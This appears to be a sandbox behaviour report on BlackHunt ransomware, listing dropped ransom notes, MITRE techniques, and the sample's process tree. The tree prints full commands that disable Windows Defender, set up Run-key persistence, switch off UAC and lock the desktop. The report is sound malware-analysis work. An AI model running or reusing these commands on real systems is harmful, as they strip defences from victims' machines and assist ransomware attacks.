File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.rcp.feature_1.2.0.v20140523-0116\META-INF\#BlackHunt_ReadMe.txt	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.resources_3.9.1.v20140825-1431.jar	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ms\LC_MESSAGES\#BlackHunt_ReadMe.hta	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\#BlackHunt_ReadMe.txt	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File created	C:\Program Files (x86)\Google\Update\1.3.36.151\#BlackHunt_ReadMe.txt	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File created	C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\#BlackHunt_ReadMe.hta	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File opened for modification	C:\Program Files\7-Zip\Lang\yo.txt	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Australia\#BlackHunt_ReadMe.txt	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Porto_Velho	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\#BlackHunt_ReadMe.hta	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-swing-plaf.xml	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\audio_mixer\#BlackHunt_ReadMe.txt	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Javascripts\#BlackHunt_ReadMe.txt	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\#BlackHunt_ReadMe.hta	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\include\jdwpTransport.h	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.flightrecorder.ui.zh_CN_5.5.0.165303.jar	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Africa\Bissau	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File created	C:\Program Files\VideoLAN\VLC\locale\as_IN\#BlackHunt_Private.key	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Antarctica\Macquarie	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\video_splitter\#BlackHunt_ReadMe.txt	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviewers.gif	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Dublin	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.workbench3_0.12.0.v20140227-2118.jar	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\#BlackHunt_ReadMe.txt	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\core\#BlackHunt_ReadMe.hta	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Costa_Rica	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\ZY______.PFB	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\Title_Page.wmv	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\PassportMask.wmv	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.util_1.0.500.v20130404-1337.jar	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File created	C:\Program Files\VideoLAN\VLC\locale\en_GB\#BlackHunt_ReadMe.txt	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sl\LC_MESSAGES\#BlackHunt_Private.key	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\about.html	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\schema\com.jrockit.mc.rjmx.syntheticnotification.exsd	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-applemenu_ja.jar	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\kn\LC_MESSAGES\vlc.mo	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File created	C:\Program Files\VideoLAN\VLC\locale\nn\LC_MESSAGES\#BlackHunt_ReadMe.txt	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Atlantic\#BlackHunt_ReadMe.txt	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\#BlackHunt_Private.key	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File created	C:\Program Files\VideoLAN\VLC\locale\kn\LC_MESSAGES\#BlackHunt_Private.key	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
File created	C:\Program Files\VideoLAN\VLC\locale\lt\#BlackHunt_ReadMe.hta	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
856	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
1588	vssadmin.exe
1408	vssadmin.exe
2104	vssadmin.exe
2740	vssadmin.exe
1040	vssadmin.exe
2172	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
1300	taskkill.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2792	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
632	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2572	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
Token: SeRestorePrivilege	2572	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
Token: SeBackupPrivilege	2572	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
Token: SeTakeOwnershipPrivilege	2572	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
Token: SeAuditPrivilege	2572	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
Token: SeSecurityPrivilege	2572	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
Token: SeIncBasePriorityPrivilege	2572	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
Token: SeBackupPrivilege	2648	vssvc.exe
Token: SeRestorePrivilege	2648	vssvc.exe
Token: SeAuditPrivilege	2648	vssvc.exe
Token: SeBackupPrivilege	2496	wbengine.exe
Token: SeRestorePrivilege	2496	wbengine.exe
Token: SeSecurityPrivilege	2496	wbengine.exe
Token: SeSecurityPrivilege	2876	wevtutil.exe
Token: SeBackupPrivilege	2876	wevtutil.exe
Token: SeSecurityPrivilege	2776	wevtutil.exe
Token: SeBackupPrivilege	2776	wevtutil.exe
Token: SeSecurityPrivilege	824	wevtutil.exe
Token: SeBackupPrivilege	824	wevtutil.exe
Token: SeSecurityPrivilege	1720	wevtutil.exe
Token: SeBackupPrivilege	1720	wevtutil.exe
Token: SeSecurityPrivilege	2684	wevtutil.exe
Token: SeBackupPrivilege	2684	wevtutil.exe
Token: SeDebugPrivilege	1300	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2572 wrote to memory of 2916	2572	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe	29
PID 2572 wrote to memory of 2916	2572	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe	29
PID 2572 wrote to memory of 2916	2572	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe	29
PID 2572 wrote to memory of 2916	2572	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe	29
PID 2572 wrote to memory of 2396	2572	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe	31
PID 2572 wrote to memory of 2396	2572	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe	31
PID 2572 wrote to memory of 2396	2572	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe	31
PID 2572 wrote to memory of 2396	2572	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe	31
PID 2916 wrote to memory of 2752	2916	cmd.exe	33
PID 2916 wrote to memory of 2752	2916	cmd.exe	33
PID 2916 wrote to memory of 2752	2916	cmd.exe	33
PID 2572 wrote to memory of 2812	2572	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe	34
PID 2572 wrote to memory of 2812	2572	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe	34
PID 2572 wrote to memory of 2812	2572	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe	34
PID 2572 wrote to memory of 2812	2572	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe	34
PID 2396 wrote to memory of 2832	2396	cmd.exe	36
PID 2396 wrote to memory of 2832	2396	cmd.exe	36
PID 2396 wrote to memory of 2832	2396	cmd.exe	36
PID 2572 wrote to memory of 2844	2572	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe	37
PID 2572 wrote to memory of 2844	2572	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe	37
PID 2572 wrote to memory of 2844	2572	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe	37
PID 2572 wrote to memory of 2844	2572	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe	37
PID 2572 wrote to memory of 2816	2572	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe	38
PID 2572 wrote to memory of 2816	2572	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe	38
PID 2572 wrote to memory of 2816	2572	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe	38
PID 2572 wrote to memory of 2816	2572	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe	38
PID 2572 wrote to memory of 2784	2572	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe	41
PID 2572 wrote to memory of 2784	2572	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe	41
PID 2572 wrote to memory of 2784	2572	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe	41
PID 2572 wrote to memory of 2784	2572	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe	41
PID 2572 wrote to memory of 2884	2572	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe	147
PID 2572 wrote to memory of 2884	2572	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe	147
PID 2572 wrote to memory of 2884	2572	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe	147
PID 2572 wrote to memory of 2884	2572	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe	147
PID 2812 wrote to memory of 2252	2812	cmd.exe	44
PID 2812 wrote to memory of 2252	2812	cmd.exe	44
PID 2812 wrote to memory of 2252	2812	cmd.exe	44
PID 2572 wrote to memory of 2900	2572	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe	45
PID 2572 wrote to memory of 2900	2572	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe	45
PID 2572 wrote to memory of 2900	2572	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe	45
PID 2572 wrote to memory of 2900	2572	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe	45
PID 2572 wrote to memory of 2880	2572	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe	48
PID 2572 wrote to memory of 2880	2572	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe	48
PID 2572 wrote to memory of 2880	2572	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe	48
PID 2572 wrote to memory of 2880	2572	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe	48
PID 2572 wrote to memory of 2848	2572	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe	50
PID 2572 wrote to memory of 2848	2572	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe	50
PID 2572 wrote to memory of 2848	2572	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe	50
PID 2572 wrote to memory of 2848	2572	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe	50
PID 2816 wrote to memory of 2632	2816	cmd.exe	52
PID 2816 wrote to memory of 2632	2816	cmd.exe	52
PID 2816 wrote to memory of 2632	2816	cmd.exe	52
PID 2572 wrote to memory of 2640	2572	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe	53
PID 2572 wrote to memory of 2640	2572	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe	53
PID 2572 wrote to memory of 2640	2572	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe	53
PID 2572 wrote to memory of 2640	2572	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe	53
PID 2572 wrote to memory of 2664	2572	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe	142
PID 2572 wrote to memory of 2664	2572	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe	142
PID 2572 wrote to memory of 2664	2572	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe	142
PID 2572 wrote to memory of 2664	2572	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe	142
PID 2844 wrote to memory of 2688	2844	cmd.exe	54
PID 2844 wrote to memory of 2688	2844	cmd.exe	54
PID 2844 wrote to memory of 2688	2844	cmd.exe	54
PID 2572 wrote to memory of 1844	2572	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe	57

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe
"C:\Users\Admin\AppData\Local\Temp\dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2572
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2916
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2752
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2396
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2832
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2812
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2252
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2844
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2688
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2816
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2632
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2784
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2168
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2884
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:3068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2900
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:2864
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2880
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:1288
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2848
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:1260
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2640
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:1924
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2664
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:1996
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:1844
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:584
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2684
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:2464
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2316
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:2912
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1452
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1500
- C:\Windows\System32\cmd.exe
